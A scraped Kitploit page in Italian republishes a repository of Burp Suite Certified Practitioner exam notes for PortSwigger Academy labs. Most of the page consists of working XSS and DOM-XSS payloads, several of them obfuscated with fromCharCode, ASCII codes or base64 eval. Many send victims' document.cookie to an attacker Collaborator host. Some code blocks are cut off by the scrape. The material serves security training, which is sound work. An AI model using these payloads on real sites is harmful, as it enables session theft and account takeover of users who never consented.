Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Burp-Suite-Certified-Practitioner-Exam-Study — Note di studio pratiche e guide passo-passo per i laboratori di PortSwigger Academy, che coprono vulnerabilità web, payload, enumerazione e strategie per l'esame BSCP. | Kitploit
Strumenti/GitHubGitHub/botesjuan/burp-suite-certified-practitioner-exam-study
Analisi delle VulnerabilitàSfruttamento di Applicazioni WebRaccolta InformazioniSicurezza WebPenetration TestingApprendimento e FormazioneRisorse CurateSviluppo PayloadPercorsi e CorsiLab e Pratica
GitHubbotesjuan/burp-suite-certified-practitioner-exam-study
1.5k3874 giorni faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

Burp-Suite-Certified-Practitioner-Exam-Study

Note di studio pratiche e guide passo-passo per i laboratori di PortSwigger Academy, che coprono vulnerabilità web, payload, enumerazione e strategie per l'esame BSCP.

Vedi Repository

Preparazione all'Esame Burp Suite Certified Practitioner

Questi sono i miei appunti di studio con oltre 110 laboratori della PortSwigger Academy. Ho usato questi laboratori per superare l'esame Burp Suite Certified Practitioner del 2023. La mia certificazione BSCP.
Per maggiori informazioni, visita PortSwigger Academy e consulta i materiali di apprendimento più recenti.


SCANSIONE - Enumerazione
Scansione mirata
Scansione di entità non standard

PUNTO D'APPOGGIO - Fase 1
Scoperta dei contenuti
DOM-XSS
XSS Cross Site Scripting
Avvelenamento della cache web
Header Host
HTTP Request Smuggling
Brute force
Autenticazione

ESCALATION DEI PRIVILEGI - Fase 2
CSRF - Presa di controllo dell'account
Reimpostazione della password
SQLi - SQL Injection
JWT - JSON Web Tokens
Prototype pollution
Test delle API
Controllo degli accessi
Endpoint API GraphQL
CORS - Cross-origin resource sharing

ESFILTRAZIONE DEI DATI - Fase 3
XXE - Entità XML e Iniezioni
SSRF - Server side request forgery
SSTI - Server side template injection
SSPP - Server Side Prototype Pollution
LFI - File path traversal
Caricamento dei file
Deserializzazione
OS Command Injection

APPENDICE
Script Python
Payload
Wordlist
Scansione mirata del target
Approccio
Contenuti formativi extra

I miei consigli su Burp

Raccomando di svolgere quante più possibili Mystery lab challenge per mettere alla prova le tue abilità e ridurre il tempo necessario a identificare le vulnerabilità, prima di sostenere l'esame.
Ho trovato molto informativo anche questo consiglio di PortSwigger su Ripetere l'esame.
Guarda CryptoCat - Burp Suite Certified Professional (BSCP) Review + Tips/Tricks per una nuova prospettiva sull'esame BSCP nel 2024.




Buy Me A Coffee

Grazie per il caffè di supporto, \o/

Il mio certificato Burp Suite Certified Practitioner.


Scansione

L'enumerazione delle applicazioni web inizia con una scansione iniziale e mirata in un contesto con tempi limitati.

Scansione mirata
Scansione di entità non standard

Scansione mirata

A causa del limite di tempo stringente durante gli incarichi o l'esame, scansiona i punti di inserimento definiti per richieste specifiche.

scan-defined-insertion-points

Lo scanner ha rilevato una vulnerabilità di XML injection nel parametro storeId, che ha portato alla lettura del file segreto di Carlos.```xml <xi:include parse="text" href="file:///home/carlos/secret"/>

root@kitploit:~
>Richiesta XInclude fuori banda, serve un DTD ospitato per leggere il file locale.```xml
<hqt xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include href="http://OASTIFY.COM/foo"/></hqt>

PortSwigger Lab: Scoprire le vulnerabilità rapidamente con la scansione mirata

Scansione di strutture dati non standard

Scansione di strutture dati non standard utilizzando la funzione di Burp per scansionare il punto di inserimento selezionato alla ricerca di testo selezionato nella risposta o nelle richieste.

scan-selected-insertion-point

Identifica la vulnerabilità attraverso i risultati dei problemi dello scanner Burp.
In questo caso, utilizzando l'XSS identificato, ruba i cookie dell'utente admin creando il payload nel punto di inserimento identificato.``` '"><svg/onload=fetch(//OASTIFY.COM/${encodeURIComponent(document.cookie)})>:CURRENT-USER-LOGIN-COOKIE-2ND-PART

root@kitploit:~
>Codifica in URL i caratteri chiave.  

![admin-cookie-stealer](https://assets.kitploit.com/production/public/readmes/51008/64ba64b0fa7e1681859eb5d76a88f94fb91a78655f1ce768ff8e1b50f3cf57c1/990ac058ff6a9727193848c821acf60a43011fa7ba8dfd967ab6b3dd7f2e0bcb-display-v1.webp)  

>Usa il cookie dell'utente admin per accedere al pannello di amministrazione sostituendolo nella sessione corrente del browser.  

[PortSwigger Lab: Scansione di strutture dati non standard](https://portswigger.net/web-security/essential-skills/using-burp-scanner-during-manual-testing/lab-scanning-non-standard-data-structures)  
    
-----

# Punto d'ingresso  
  
# Scoperta dei contenuti  

>L'enumerazione del target inizia con il fuzzing di directory e file web. Si possono usare gli strumenti di engagement di Burp, l'opzione di scoperta dei contenuti per trovare percorsi e file nascosti, oppure usare `FFUF` per enumerare directory e file web. Anche l'esame di `robots.txt` o `sitemap.xml` può rivelare contenuti.```bash
wget https://raw.githubusercontent.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/main/wordlists/burp-labs-wordlist.txt

ffuf -c -w ./burp-labs-wordlist.txt -u https://TARGET.web-security-academy.net/FUZZ

Strumento di engagement di Burp, content discovery utilizzando la mia wordlist compilata burp-labs-wordlist come elenco di file personalizzato.

content-discovery.png

Esamina i rami del repository git sulla copia locale scaricata, usando lo strumento git-cola. Quindi seleziona Annulla ultimo commit ed estrai la password admin dalla finestra diff.``` wget -r https://TARGET.web-security-academy.net/.git/

git-cola --repo 0ad900ad039b4591c0a4f91b00a600e7.web-security-academy.net/

root@kitploit:~
![git-cola](https://assets.kitploit.com/production/public/readmes/51008/14079c28e5cbbdff33e677924bd48ab71e6afd5a28c04080d37705e6612df983/cfd1fad85dc91fe0115a20bcfbc1a45eabd76e74a1d5d2ccf74dea9d85d85f47-display-v1.webp)  

[PortSwigger Lab: Information disclosure in version control history](https://portswigger.net/web-security/information-disclosure/exploiting/lab-infoleak-in-version-control-history)  

>Apri sempre il `source code` per cercare commenti degli sviluppatori che rivelino file o percorsi nascosti. L'esempio seguente porta alla [deserializzazione del token symphony](#deserialization).  

![DEV code debug comment deserial](https://assets.kitploit.com/production/public/readmes/51008/367ef48f4d29249a7a4d0968b5028357b914e75aba779e99c6b90fa140ec65ce/b382686bbd5c2e87dc23936f0e60830c9f765a8d8f65f8ee4075d3db5d7ec524-display-v1.webp)  
  
-----

## DOM-Based XSS  

[DOM XSS Indicators](#identify-dom-xss)  
[DOM XSS Identified with DOM Invader](#dom-invader)  
[DOM XSS AngularJS](#vuln-angularjs)  
[DOM XSS document.write in select](#doc-write-location-search)  
[DOM XSS JSON.parse web messages](#dom-xss-jsonparse-web-messages)  
[DOM XSS AddEventListener JavaScript URL](#dom-xss-addeventlistener-javascript-url)  
[DOM XSS AddEventListener Ads Message](#dom-xss-addeventlistener-ads-message)  
[DOM XSS Eval Reflected Cookie Stealer](#reflected-dom-xss)  
[DOM XSS LastviewedProduct Cookie](#dom-xss-lastviewedproduct-cookie)  

### Identificare DOM-XSS  

>Le vulnerabilità XSS basate su DOM sorgono quando JavaScript prende dati da una fonte controllabile dall'attaccante, come l'URL, e passa codice a un sink che supporta l'esecuzione dinamica di codice. 
>Testa quali caratteri consentono di uscire dal punto di iniezione del `source code`, utilizzando la stringa fuzzer qui sotto.```
<>\'\"<script>{{7*7}}$(alert(1)}"-prompt(69)-"fuzzer

Review the source code to identify the sources , sinks or methods that may lead to exploit, list of samples:

  • document.write()
  • window.location
  • document.cookie
  • eval()
  • document.domain
  • WebSocket()
  • element.src
  • postMessage()
  • setRequestHeader()
  • FileReader.readAsText()
  • ExecuteSql()
  • sessionStorage.setItem()
  • document.evaluate()
  • JSON.parse
  • ng-app
  • URLSearchParams
  • replace()
  • innerHTML
  • location.search
  • addEventListener
  • sanitizeKey()

Dom Invader

Utilizzando il plug-in Dom Invader e impostando il canary a un valore, come domxss, rileverà i sink DOM-XSS che possono essere sfruttati.

DOM Invader

Vulnerable AngularJS

L'espressione AngularJS di seguito può essere iniettata nella funzione di ricerca quando le parentesi angolari e le virgolette doppie sono codificate in HTML. La vulnerabilità viene identificata notando che la stringa di ricerca è racchiusa in una direttiva ng-app e che lo script /js/angular 1-7-7.js è incluso. Rivedere il codice HTML per identificare la direttiva ng-app che indica ad AngularJS che questo è l'elemento radice dell'applicazione AngularJS.

domxss-on-constructor.png

Di seguito il payload del lab PortSwigger:```JavaScript {{$on.constructor('alert(1)')()}}

root@kitploit:~
>[Payload furto di cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) utilizzando `on.constructor` che può essere inserito in un iframe, ospitato su un server di exploit, con conseguente invio del cookie di sessione della vittima a Burp Collaborator.  
>[Cheat sheet di PortSwigger per riferimento al cross-site scripting](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet#angularjs-reflected--1.0.1---1.1.5-(shorter))```JavaScript
{{$on.constructor('document.location="https://OASTIFY.COM?c="+document.cookie')()}}

Nota: La proprietà del cookie di sessione non deve avere il flag di sicurezza HttpOnly impostato affinché l'XSS abbia successo.

domxss-on-constructor.png

Lab PortSwigger: DOM XSS in espressione AngularJS con parentesi angolari e doppi apici codificati in HTML

z3nsh3ll offre una comprensione sorprendentemente dettagliata della vulnerabilità del constructor in questo lab su YouTube

Ricerca della posizione di Doc Write

Il target è vulnerabile a DOM-XSS nella funzione di controllo delle scorte. source code rivela che document.write è il sink utilizzato con location.search, permettendoci di aggiungere il parametro di query storeId con un valore contenente il payload JavaScript all'interno di un'istruzione <select>.

DOM-XSS doc write inside select

Esegui un test utilizzando il payload qui sotto per identificare l'iniezione nella richiesta GET modificata, usando "> per effettuare l'escape.```html /product?productId=1&storeId=fuzzer">fuzzer

root@kitploit:~
![get-dom-xss.png](https://assets.kitploit.com/production/public/readmes/51008/37e4c9891b5e47032f2e743dadfe032f683370b76c260e82c4cbe34c76761d0e/68fd6e566e7d66328472586265b05c07698c83300195575bb7be0a7953c3533b-display-v1.webp)  

>DOM XSS [payload per il furto di cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) in un sink `document.write` usando la sorgente `location.search` all'interno di un elemento `<select>`. Questo può essere inviato alla vittima tramite il server di exploit in un `

JSON_parse_web_messages_Exploit_server_Payload.png

Alla fine dei valori onload dell'iframe c'è un "*", questo serve a indicare che il target è qualsiasi.

Imposta un cookie di test non sicuro nel browser utilizzando la console degli strumenti di sviluppo del browser da usare durante i test per la POC XSS
payload per il furto di cookie.```JavaScript document.cookie = "TopSecret=UnsecureCookieValue4Peanut2025";

root@kitploit:~
![JSON_parse_web_messages_Exploit_server_cookie_steal_POC.png](https://assets.kitploit.com/production/public/readmes/51008/00edaa7a2bfeabdf0a3960609fc7468eb1cf4ef7721a422729b8b9f48159aa7e/b61bc029401130a999c8d530bec7b388abf058081cc327abd67c61fb5047d960-display-v1.webp)  

[PortSwigger Lab: DOM XSS using web messages and JSON.parse](https://portswigger.net/web-security/dom-based/controlling-the-web-message-source/lab-dom-xss-using-web-messages-and-json-parse)  

>DOM Invader utilizzato per identificare e testare DOM XSS tramite web messages  

![DOM Invader identifica i web messages](https://assets.kitploit.com/production/public/readmes/51008/b403cebcf7416a0b011983a370268c86ff6613654a51d172aedd9513586d0d4d/da80859bbfbed987e5bfbc602ceb8ecb0c45f95ee64ed91af3139af1e21c5838-display-v1.webp)  

>Ripeti l'invio del post message utilizzando DOM Invader dopo aver alterato i dati JSON.```JSON 
{
    "type": "load-channel",
    "url": "JavaScript:document.location='https://OASTIFY.COM?c='+document.cookie"
}

DOM Invader reinvia messaggi web

PortSwigger: Identificare il DOM XSS utilizzando PortSwigger DOM Invader

DOM XSS AddEventListener JavaScript URL

Esaminando il source code della pagina identifichiamo la chiamata addeventlistener per un messaggio web ma c'è una condizione if che controlla se la stringa contiene http/s.

source-code-web-message-url.png

Il payload di seguito ospitato sul server exploit include la stringa https e riesce a bypassare il controllo della condizione if.```html

root@kitploit:~
![DOM_based_cookie_manipulation.png](https://assets.kitploit.com/production/public/readmes/51008/45bed47194ee65d402c2926c551335ada23f37b144bad8c4d80f67a54fc2d1d4/1cc9923c8daf2c0aedd277d7f6f78184415ef7f176b95e43c531e63fb341f08b-display-v1.webp)  

Una volta aggiornato il cookie della vittima, il log del server Exploit cattura il valore segreto del cookie.  

>Con il grande aiuto di ***ShehmeerAbidRajput*** ho aggiornato questo lab con il payload cookie stealer da lui fornito.  

[PortSwigger Lab: manipolazione dei cookie basata su DOM](https://portswigger.net/web-security/dom-based/cookie-manipulation/lab-dom-cookie-manipulation)  
  
-----

## Cross Site Scripting  

[XSS Resources](#xss-resources)  
[Identify allowed Tags](#identify-allowed-tags)  
[Bypass Blocked Tags](#bypass-blocked-tags)  
[XSS Assign protocol](#xss-assign-protocol)  
[Custom Tags not Blocked](#custom-tags-not-blocked)  
[OnHashChange](#onhashchange)  
[Reflected String XSS](#reflected-string-xss)  
[Reflected String Extra Escape](#reflected-string-extra-escape)  
[AngularJS Sandbox Escape](#angularjs-sandbox-escape)  
[XSS Template Literal](#xss-template-literal)  
[XSS via JSON into EVAL](#xss-via-json-into-eval)  
[Stored XSS](#stored-xss)  
[Stored DOM XSS](#stored-dom-xss)  
[XSS in SVG Upload](#xss-svg-upload)  
  
### XSS Resources  

>Pagine delle risorse XSS per cercare payload per **tag** ed **eventi**.   

+ [Cheat sheet Cross-site scripting (XSS)](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
+ [PayloadsAllTheThings (XSS)](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection#xss-in-htmlapplications)
+ [Note di studio HackTheBox CPTS su XSS](https://github.com/botesjuan/cpts-quick-references/blob/main/module/Cross-site-scripting-xss.md)  

>Lo strumento CSP Evaluator verifica se è in atto una content security policy per mitigare gli attacchi XSS. Ad esempio, se manca `base-uri`, questa vulnerabilità consente all'attaccante di utilizzare il metodo di exploit alternativo descritto in [Upgrade stored self-XSS](#upgrade-stored-self-xss).  

+ [CSP Evaluator](https://csp-evaluator.withgoogle.com/)  
  
>Quando la lunghezza massima del campo di input è di soli 23 caratteri, usa questa risorsa per **Tiny XSS Payloads**.  

+ [Tiny XSS Payloads](https://github.com/terjanq/Tiny-XSS-Payloads)  

>Imposta nel browser un cookie di test non sicuro usando la console DevTools del browser, da utilizzare durante i test per i [payload cookie stealer](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/main/payloads/CookieStealer-Payloads.md) di POC XSS.```JavaScript
document.cookie = "TopSecret=UnsecureCookieValue4Peanut2019";

Identifica i tag consentiti

Payload XSS di base per identificare i controlli dei filtri di sicurezza dell'applicazione per la gestione dei dati ricevuti nella richiesta HTTP.```html

root@kitploit:~
(empty)```html
"><svg><animatetransform onbegin=alert(1)>

(empty response due to missing input)``` <>'"

root@kitploit:~
>L'invio dei payload sopra indicati può restituire un messaggio di risposta, ***"Tag non consentito"*** a causa del blocco delle iniezioni da parte del Web Application Firewall (WAF).
>Quindi ***identifica*** i tag consentiti utilizzando [PortSwigger Academy Metodologia](https://portswigger.net/web-security/cross-site-scripting/contexts/lab-html-context-with-most-tags-and-attributes-blocked).  

>Encoder e decoder online per URL e Base64  

+ [Decodifica e codifica URL](https://www.urldecoder.org/)  
+ [Decodifica e codifica BASE64](https://www.base64encode.org/)  
  
>Questo lab fornisce un'ottima **metodologia** per ***identificare*** i tag HTML e gli eventi consentiti per realizzare POC XSS.  

>Ospita il codice **iframe** sul server di exploit e consegna il link di exploit alla vittima.```html

Bypass dei Tag Bloccati

I controlli dell'applicazione mostrano il messaggio "Tag is not allowed" quando si inseriscono payload XSS di base, ma si scopre che il markup SVG è consentito utilizzando la metodologia precedente. Questo payload ruba il mio cookie di sessione come POC.```html https://TARGET.net/?search=%22%3E%3Csvg%3E%3Canimatetransform%20onbegin%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fcookies%3D%27%2Bdocument.cookie%3B%3E

root@kitploit:~
>Posiziona il payload di cui sopra sul server di exploit e inserisci l'URL con il valore di ricerca in un ```iframe``` prima di consegnarlo alla vittima nel blocco di codice in basso.```html

svg animatetransform XSS

Laboratorio PortSwigger: XSS riflesso con qualche markup SVG consentito

Protocollo XSS Assign

Laboratorio per testare XSS nel contesto HTML senza nulla codificato nella funzione di ricerca. Usando questo laboratorio per testare l'exploit del protocollo assegnabile con location javascript identificato dalla ricerca XSS di PortSwigger. Nel payload, c'è il %0a che rappresenta il carattere di nuova riga ASCII.```html

#%0adocument.location='http://OASTIFY.COM/?p='+document.cookie//&context=html
root@kitploit:~
![Posizione del protocollo XSS](https://assets.kitploit.com/production/public/readmes/51008/b956c8c2fbd782fe426a2206be3aa7784eed101c58edbdf2a1cb1a58f2a05d63/d92f66a14a37c5b4341e9fe1d5e097e364089e6ce085e39ef0c44e5e48812fb8-display-v1.webp)  

[PortSwigger Lab: Reflected XSS into HTML context with nothing encoded](https://portswigger.net/web-security/cross-site-scripting/reflected/lab-html-context-nothing-encoded)  
  
### Tag personalizzati non bloccati  
  
>L'applicazione risponde con il messaggio ***"Tag non consentito"*** quando si tenta di inserire payload XSS, ma se creiamo un tag personalizzato, viene bypassato.```html
<xss+id=x>#x';

Identifica se il tag personalizzato sopra non è bloccato nella funzione di ricerca, osservando la risposta. Crea il payload sottostante per rubare il cookie di sessione out-of-band.```

root@kitploit:~
>**Nota:** Il tag personalizzato con ID ```x```, che contiene un gestore di eventi **onfocus** che attiva la funzione ```document.location```. Il carattere **HASH** `#` alla fine dell'URL mette a fuoco questo elemento non appena la pagina viene caricata, causando la chiamata del payload. Ospita lo script del payload sul server di exploit nei tag ```script``` e invialo alla vittima. Di seguito è riportato lo stesso payload ma in formato **URL-encoded**.```
<script>
location = 'https://TARGET.net/?search=%3Cxss+id%3Dx+onfocus%3Ddocument.location%3D%27https%3A%2F%2FOASTIFY.COM%2F%3Fc%3D%27%2Bdocument.cookie%20tabindex=1%3E#x';
</script>

Custom XSS tag

PortSwigger Lab: XSS riflesso nel contesto HTML con tutti i tag bloccati tranne quelli personalizzati

z3nsh3ll - spiegazione dei tag personalizzati per attacchi XSS

OnHashChange

Il seguente iframe usa il carattere HASH # alla fine dell'URL per attivare il cookie stealer XSS OnHashChange.```JavaScript

root@kitploit:~
>Nota: se il cookie è protetto con il flag **HttpOnly** abilitato, il cookie non può essere rubato tramite XSS.  

>Il payload del laboratorio PortSwigger esegue print.```JavaScript

Nota: Identifica la versione vulnerabile di jquery 1.8.2 inclusa nel source code con l'azione del selettore CSS al hashchange.

Hashchange

PortSwigger Lab: DOM XSS nel sink del selettore jQuery usando un evento hashchange

Crypto-Cat: DOM XSS nel sink del selettore jQuery usando un evento hashchange

XSS riflessa in stringa

Inviando una stringa di ricerca ed esaminando il source code della pagina dei risultati di ricerca, la variabile stringa JavaScript viene identificata come quella che riflette la stringa di ricerca tracker.gif nel source code con una variabile chiamata searchTerms.```html

0 search results for 'fuzzer'


Search
``` ![Stringa JavaScript con virgoletta singola e backslash con escape](https://assets.kitploit.com/production/public/readmes/51008/5b9fe5c935404a0d67be444540f2e3e5551704688177c8be60e1b6e4220629a0/eacace6120375cbd27292f7df1a7709a2021fc80bbd04914972252ffc37a97cd-display-v1.webp)

Utilizzando un payload test'payload si osserva che una virgoletta singola viene sottoposta a escape tramite backslash, impedendo di uscire dalla stringa.```JavaScript

root@kitploit:~
>Modificare il payload in un cookie stealer che consegna il token di sessione a Burp Collaborator.```html
</script><script>document.location="https://OASTIFY.COM/?cookie="+document.cookie</script>

collaborator get cookies

Quando si inserisce questo payload in un iframe, l'applicazione di destinazione non ne consente l'incorporamento e mostra il messaggio: refused to connect.

PortSwigger Lab: Reflected XSS into a JavaScript string with single quote and backslash escaped

Nell'esame BSCP, ospita il payload sottostante sul server di exploit all'interno dei tag <script> e la query di ricerca sottostante prima che venga codificata in URL.```

root@kitploit:~
>Exploit Server che ospita una vulnerabilità riflessa nel termine di ricerca, che viene inviata alla vittima per ottenere il cookie di sessione.```html
<script>
location = "https://TARGET.net/?search=%3C%2FScRiPt+%3E%3Cimg+src%3Da+onerror%3Ddocument.location%3D%22https%3A%2F%2FOASTIFY.COM%2F%3Fbiscuit%3D%22%2Bdocument.cookie%3E"
</script>

L'applicazione ha restituito il messaggio di errore Tag is not allowed e questo viene bypassato usando </ScRiPt >.

Escape Extra della Stringa Riflessa

Vedi nella source code la variabile chiamata searchTerms e, quando invii il payload fuzzer'payload, nota che l'apostrofo viene escapato con una barra rovesciata; quindi invia un fuzzer\payload payload e identifica che la barra rovesciata non viene escapata.``` '-alert(1)//

fuzzer';console.log(12345);//

fuzzer';alert(Testing The backtick a typographical mark used mainly in computing);//

root@kitploit:~
>Utilizzando una singola **barra rovesciata**, una virgoletta singola e un **punto e virgola**, si esce dalla variabile stringa JavaScript; quindi, utilizzando i backtick per racchiudere il percorso ```document.location```, si permette al cookie stealer di bypassare la protezione dell'applicazione.```
\';document.location=`https://OASTIFY.COM/?BackTicks=`+document.cookie;//

Con l'aiuto di Trevor ho trasformato questo in un payload per rubare cookie, usando i backtick. Grazie Trevor, ecco il suo walkthrough su YouTube XSS in stringa JavaScript, parentesi angolari, doppie virgolette codificate, virgolette singole con escape

fail-escape

Lab PortSwigger: XSS riflesso in una stringa JavaScript con parentesi angolari e doppie virgolette codificate in HTML e virgolette singole con escape

Evasione dalla sandbox AngularJS

Esercizio del lab PortSwigger di livello esperto che utilizza AngularJS 1.4.4 e le versioni 1.x hanno raggiunto la fine del ciclo di vita e non sono più mantenute.
Questo lab utilizza AngularJS in modo insolito, dove la funzione $eval non è disponibile e non sarai in grado di utilizzare alcuna stringa in AngularJS.
Obiettivo: eseguire un attacco di cross-site scripting che evada la sandbox ed esegua il payload senza utilizzare la funzione $eval.

z3nsh3ll - Video YouTube che fornisce un'ottima spiegazione di questo XSS riflesso con evasione dalla sandbox AngularJS senza stringhe

Identifica il angular.module nel codice sorgente JavaScript:

angularJS-sandbox-escape-identify.png

Il valore search della variabile key viene iniettato nel JavaScript creato dinamicamente.
Non c'è alcun problema di sicurezza evidente qui. Tuttavia, la sicurezza di questo codice dipende da come questo controller e i valori estratti vengono utilizzati nel back-end.

Il metodo $parse valuta l'espressione AngularJS $scope.query.

Usando & per aggiungere una seconda coppia chiave-valore e testare il codice dinamico generato dal payload.

angularJS-sandbox-escape-add-2nd-key pair

Cambiando il nome della seconda chiave aggiunta in un'espressione per determinare se viene valutata, /?search=key1value&7*7=payload e il risultato matematico è 49.

angularJS-sandbox-escape-2nd-key pair-eval

La costruzione di un payload fallisce quando si usa alert() come nome della seconda chiave a causa del modo in cui AngularJS compila il codice tramite il parser.

Sandbox AngulaJS - Vedi i documenti di PortSwigger sull'iniezione di template lato client

Cheat Sheet di PortSwigger – Riferimento per l'escape della sandbox 1.4.4``` 1&toString().constructor.prototype.charAt%3d[].join;[1]|orderBy:toString().constructor.fromCharCode(120,61,97,108,101,114,116,40,49,41)=1

root@kitploit:~
>Payload Collaborator ***ladro di cookie***:```
x=fetch('https://m9w8haeauh0frftrtjdvexkyrpxgl69v.oastify.com/?z='+document.cookie)

I valori decimali ASCII per ogni carattere nella stringa payload precedente, separati da virgole. Ogni numero rappresenta il valore decimale ASCII del carattere corrispondente nella stringa payload.``` 120,61,102,101,116,99,104,40,39,104,116,116,112,115,58,47,47,103,112,57,111,49,56,57,51,106,97,107,49,100,122,101,55,117,116,118,50,114,107,118,114,48,105,54,57,117,122,105,111,46,111,97,115,116,105,102,121,46,99,111,109,47,63,122,61,39,43,100,111,99,117,109,101,110,116,46,99,111,111,107,105,101,41

root@kitploit:~
>Script Python per convertire qualsiasi payload in valori decimali ASCIII:```python
import sys

print('Python String to ASCII Converter!')
if len(sys.argv) != 2:
    print("Usage: Python ascii_converter.py 'Payload_String'")
    sys.exit(1)

input_string = sys.argv[1]
ascii_values = [str(ord(char)) for char in input_string]

output = ",".join(ascii_values)
print(output)
print('PortSwigger Expert Academy Labs!')

python-script-ascii_converter.png

Payload per il furto di cookie in valore decimale ASCII, espressione AngularJS eseguita tramite la sandbox, dai passaggi della soluzione di PortSwigger:

  1. L'exploit usa toString() per creare una stringa senza usare virgolette.
  2. Poi recupera il prototipo di String e sovrascrive la funzione charAt per ogni stringa.
  3. Questo rompe la sandbox di AngularJS. Permette che un array venga passato al filtro orderBy.
  4. Imposta l'argomento per il filtro usando di nuovo toString() per creare una stringa e la proprietà del costruttore di String.
  5. Infine, usa il metodo fromCharCode per generare il nostro payload convertendo i codici dei caratteri nell'esempio di payload x=alert(1).
  6. La funzione charAt è stata sovrascritta, AngularJS permetterà a questo codice di sfuggire alla Sandbox.

angularJS-sandbox-escape-cookie-stealer

PortSwigger Expert Lab: XSS riflesso con escape dalla sandbox di AngularJS senza stringhe

XSS con template literal

Il template literal JavaScript viene identificato dai backtick ` usati per contenere la stringa. Nel codice di destinazione identifichiamo che la stringa di ricerca viene riflessa all'interno di un template literal.``` ${alert(document.cookie)}

root@kitploit:~
![xss template literal](https://assets.kitploit.com/production/public/readmes/51008/6445f64cd3a9618bd2c09bd89188bb0ec08d727310f6f9d2c5810484bdf9face/a14da86dd2b937e702ba9fb0a2975d9963bdcf8128fa39c5e24c36fef51e10ae-display-v1.webp)  
  
>Grazie a ***Adrián Gyurácz***, per aver fornito un bypass fantastico dove non ero riuscito a ottenere un cookie stealer funzionante che bypassasse tutti i filtri di questo lab.  

>***Adrián Gyurácz*** ha trovato il seguente articolo di ricerca di Portswigger che ha portato alla soluzione:  
[bypassing-character-blocklists-with-unicode-overflows](https://portswigger.net/research/bypassing-character-blocklists-with-unicode-overflows)  

#### Partendo da quanto sopra, il suo payload:```
${fetch(String.fromCharCode(0x68,0x74,0x74,0x70,0x73,0x3a,0x2f,0x2f,0x30,0x62,0x63,0x6f,0x31,0x68,0x62,0x62,0x32,0x66,0x72,0x75,0x61,0x39,0x6b,0x79,0x64,0x35,0x78,0x77,0x6c,0x31,0x71,0x37,0x77,0x79,0x32,0x70,0x71,0x6e,0x65,0x63,0x2e,0x6f,0x61,0x73,0x74,0x69,0x66,0x79,0x2e,0x63,0x6f,0x6d,0x3f,0x74,0x65,0x73,0x7a,0x74,0x3d) + document.cookie)}

Poiché il cookie della sessione di laboratorio originale ha flag di protezione, ha creato un cookie fittizio di test per la prova di concetto:

Adrián Gyurácz

dopo aver inviato il payload nella funzione di ricerca, ho ricevuto un hit dal cookie stealer:

Adrián Gyurácz

Spero che altri trovino utile la sua ricerca, e la includo nella mia guida Tx.

PortSwigger Lab: XSS riflesso in un template literal con parentesi angolari, virgolette singole, doppie, backslash e backtick con escape Unicode


XSS tramite JSON in EVAL

Questa App per l'esame pratico di PortSwigger esegue la funzione di ricerca e il DOM Invader identifica il sink in una funzione eval(). I risultati della ricerca vengono inseriti nel tipo di contenuto JSON.

Dom Invader EVAL identify

Prova l'escape dai dati JSON e inietta il payload di test "-prompt(321)-" nel contenuto JSON.

json-injection-escape.png

Nel tentativo di ottenere il valore del nostro cookie di sessione con il payload "-alert(document.cookie)-", viene restituito un messaggio di filtro che indica "Potentially dangerous search term".

Il WAF impedisce filtri di ricerca e tag pericolosi, quindi aggiriamo i filtri WAF utilizzando variabili globali JavaScript.```JavaScript "-alert(window["document"]["cookie"])-" "-window"alert"-" "-self"alert"-"

root@kitploit:~
[secjuice: Bypass dei filtri XSS utilizzando le variabili globali di JavaScript](https://www.secjuice.com/bypass-xss-filters-using-javascript-global-variables/)  

>Di seguito è riportato il main [payload per il furto di cookie](https://github.com/botesjuan/Burp-Suite-Certified-Practitioner-Exam-Study/blob/5cbfeb2a11577ad62a31f72635a000bf5dcce293/payloads/CookieStealer-Payloads.md) prima di codificarlo in BASE 64.```JavaScript
fetch(`https://OASTIFY.COM/?jsonc=` + window["document"]["cookie"])

Successivamente, codifica il payload utilizzando il valore codificato in Base64 del payload per il furto di cookie sopra descritto.``` ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ==

root@kitploit:~
>Testa il payload sul nostro stesso cookie di sessione nella funzione di ricerca.```JavaScript
"-eval(atob("ZmV0Y2goYGh0dHBzOi8vNHo0YWdlMHlwYjV3b2I5cDYxeXBwdTEzdnUxbHBiZDAub2FzdGlmeS5jb20vP2pzb25jPWAgKyB3aW5kb3dbImRvY3VtZW50Il1bImNvb2tpZSJdKQ=="))-"

Analisi delle fasi di assemblaggio del payload precedente:

  • L'uso del metodo eval() valuta o esegue un argomento.
  • L'uso di atob() o btoa() è una funzione impiegata per la codifica da e verso stringhe in formato base64.
  • Se eval() viene bloccato, allora alternative:
    • setTimeout("code")
    • setInterval("code)
    • setImmediate("code")
    • Function("code")()

Questa immagine mostra Burp Collaborator che riceve il valore del mio cookie come prova di concetto prima di impostare il payload su Deliver exploit to victim.

Burp collaborator che riceve la richiesta con il valore del cookie in base64 dal nostro POC.

